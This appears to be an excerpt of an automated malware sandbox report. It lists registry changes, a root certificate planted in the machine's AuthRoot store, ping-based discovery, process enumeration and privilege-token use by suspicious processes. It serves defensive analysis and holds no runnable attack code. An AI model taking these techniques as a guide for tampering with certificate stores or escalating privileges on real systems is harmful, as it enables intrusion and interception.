Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2531 = "Chatham Islands Daylight Time"	app.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Classes\Local Settings\MuiCache	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	app.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time"	app.exe

Modifies registry class 64 IoCs

Processes:

MicrosoftEdge.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdge.exerundll32.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exesvchost.exeMicrosoftEdgeCP.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VersionHigh = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\LowMic	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\PrivacyAdvanced = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\Main	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\EnableNegotiate = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\ExtensionIn	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\Main\OperationalData = "1"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{A8A88C49-5EB2-4990-A1A2-0876022 = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152a	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionHigh = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionHigh = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VendorId = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{EL1681II-FO1F-AN2G-81K3-DNI5R86H5R6K}	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History\CachePrefix = "Visited:"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\DisallowDefaultBrowserPrompt = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\Active\{BC5E4D74-E210-46D2-A2B6-95DA328010CA} = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\SmartScreenCompletedVersion = "1"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 0ee52a9f4d39d701	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\PrivacyAdvanced = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main\OperationalData = "1"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI\IsSignedIn = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\AllComplete = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Roaming	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus\DynamicCodePolicy = 05000000	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-Revision = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListDOSTime = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\ChromeMigration	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\ChromeMigration\MigrationTime = 301bd569d72dd701	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\DisallowDefaultBrowserPrompt = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify. = 010000000e6d3e1a980f8d8d7c126ffedb420fc236024c902fe06d863df2ef3c41b862dced723fcc371f190ef385a262c60d0ee809428c0f5140bf6db372e4a81a5792432935316a0ff7bf3bc99c503d6de976c76f4f4164cc38d9e6fd274ff91d5789b9e4d456f49438556911780395d37592404a493effe56acc591432d1c3875837212e7193e4398302d0183970297b53cfe0525056e2cd751fcf35b1d1c6c8fa17abb72a824def761a2b9bfe0cea1522f071698412e6f0f96c1997c5ba7793ddfd3a09210ecc24b338e89fe99bc0ad811c9d23055dd4db963588c18ee1decea1c7c6f774664833d8b3e43219660136120f9f2bf3cc4e85ecf232342da0c327e7d6d84e457984d9868cbd38ae0b296f749e08026efc88579b0bcb53c03f2a384d9615f8b29a7e285e51ab67c81aeea046c79217966dcf2643a005a568ca1e147475da61dd53a294fedff4bb86b2f10a2ab7fee18b34e26984c0907e4660d2ecfcc0e2c0e4a5c45e08a8e8dd0aadc768bf860bef6d241c40fe67992678b006b585a2081de955fb0c1ab3703b733348c6a4ce77905cad6a03516be2db59dca585e19e4c807bc813d2b1	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListDOSTime = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url4 = "https://login.live.com/"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-SubSysId = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\Favorites\Order = 0c0000000a000000000000000c0000000100000000000000	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DeviceId = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify.	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify.	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VersionLow = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{WW6060MI-ED3Y-MI7M-57W2-EJZ5M77G1X0K}	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionLow = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-Revision = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\DynamicCodePolicy = 00000000	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGLockdown\BlameModules	MicrosoftEdgeCP.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

Processes:

filee.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	filee.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800000f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	filee.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery
T1018

Processes:

PING.EXEPING.EXE

pid process

5888 PING.EXE
4008 PING.EXE

pid	process
5888	PING.EXE
4008	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

rundll32.exesvchost.exeultramediaburner.tmpQotaevimylu.exe

pid	process
4040	rundll32.exe
4040	rundll32.exe
3684	svchost.exe
3684	svchost.exe
1104	ultramediaburner.tmp
1104	ultramediaburner.tmp
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe
4192	Qotaevimylu.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

2116

pid	process
2116

Suspicious behavior: MapViewOfSection 55 IoCs

Processes:

svchost.exec7ae36fa.exeMicrosoftEdgeCP.exeexplorer.exeexplorer.exeexplorer.exeavjgccijhjgcciavjgccijhjgcciMicrosoftEdgeCP.exeavjgccijhjgcci

pid	process
4696
4696
5264	svchost.exe
4748	c7ae36fa.exe
5916	MicrosoftEdgeCP.exe
2116
2116
2116
2116
2116
2116
2116
2116
5380	explorer.exe
5380	explorer.exe
2116
2116
2116
2116
5976	explorer.exe
5976	explorer.exe
2116
2116
2116
2116
4984	explorer.exe
4984	explorer.exe
2116
2116
4368	avjgcci
5028	jhjgcci
3968	avjgcci
2004	jhjgcci
5380	explorer.exe
5380	explorer.exe
5976	explorer.exe
5976	explorer.exe
5976	explorer.exe
5976	explorer.exe
4984	explorer.exe
4984	explorer.exe
4984	explorer.exe
4984	explorer.exe
5380	explorer.exe
5380	explorer.exe
5976	explorer.exe
5976	explorer.exe
4984	explorer.exe
4984	explorer.exe
5380	explorer.exe
5380	explorer.exe
5028	MicrosoftEdgeCP.exe
5028	MicrosoftEdgeCP.exe
2732	avjgcci
5856	jhjgcci

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

rundll32.exesvchost.exeJoSetp.exeUltra.exesvchost.exeSHyxaeshedaci.exesvchost.exe

description	pid	process
Token: SeDebugPrivilege	4040	rundll32.exe
Token: SeTcbPrivilege	3684	svchost.exe
Token: SeDebugPrivilege	4040	rundll32.exe
Token: SeDebugPrivilege	4040	rundll32.exe
Token: SeDebugPrivilege	4040	rundll32.exe
Token: SeDebugPrivilege	3944	JoSetp.exe
Token: SeDebugPrivilege	4040	rundll32.exe
Token: SeDebugPrivilege	4040	rundll32.exe
Token: SeDebugPrivilege	4040	rundll32.exe
Token: SeDebugPrivilege	4040	rundll32.exe
Token: SeDebugPrivilege	4040	rundll32.exe
Token: SeDebugPrivilege	4040	rundll32.exe
Token: SeDebugPrivilege	4040	rundll32.exe
Token: SeDebugPrivilege	4040	rundll32.exe
Token: SeDebugPrivilege	4040	rundll32.exe
Token: SeDebugPrivilege	3952	Ultra.exe
Token: SeAuditPrivilege	2356	svchost.exe
Token: SeDebugPrivilege	4132	SHyxaeshedaci.exe
Token: SeAssignPrimaryTokenPrivilege	2676	svchost.exe
Token: SeIncreaseQuotaPrivilege	2676	svchost.exe
Token: SeSecurityPrivilege	2676	svchost.exe
Token: SeTakeOwnershipPrivilege	2676	svchost.exe
Token: SeLoadDriverPrivilege	2676	svchost.exe
